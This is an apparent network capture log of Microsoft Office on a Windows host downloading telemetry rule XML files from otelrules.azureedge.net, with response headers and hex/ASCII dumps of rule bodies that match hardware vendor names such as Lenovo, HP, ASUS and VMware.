2024-10-28 07:18:05 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071805Z-16849878b7898p5f6vryaqvp5800000005k00000000056ed x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:05 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:05 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071805Z-16849878b78wv88bk51myq5vxc00000005300000000000xc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:05 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:05 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: a881b062-301e-0020-4af0-266299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071805Z-15b8d89586ffsjj9qb0gmb1stn00000008s000000000bk9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:05 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:05 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071805Z-16849878b7867ttgfbpnfxt44s00000004h000000000a7ab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:06 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:06 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 962f3e82-b01e-0070-52cb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071806Z-r197bdfb6b4wmcgqdschtyp7yg00000004k0000000006d7g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:06 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:06 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0fe0dd21-c01e-0066-771c-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071806Z-16849878b78nx5sne3fztmu6xc00000005m000000000ck4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:06 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:07 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 3892a0ce-b01e-003d-5f3a-26d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071807Z-17c5cb586f6g6g2sbe6edp75y400000006t0000000002ya6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:07 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 7c0b2bc5-f01e-00aa-35ef-248521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071807Z-15b8d89586fvk4kmbg8pf84y8800000005m0000000005mta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:07 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: fcb0891e-801e-007b-6669-28e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071807Z-15b8d89586fmhkw429ba5n22m8000000065g000000000ncv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:07 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:07 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: c47ae6f3-801e-007b-6937-26e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071807Z-17c5cb586f6g6g2sbe6edp75y400000006t0000000002yaz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:07 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:07 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071807Z-16849878b78smng4k6nq15r6s40000000680000000005342 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:07 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071807Z-16849878b786jv8w2kpaf5zkqs00000003m0000000006s81 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH 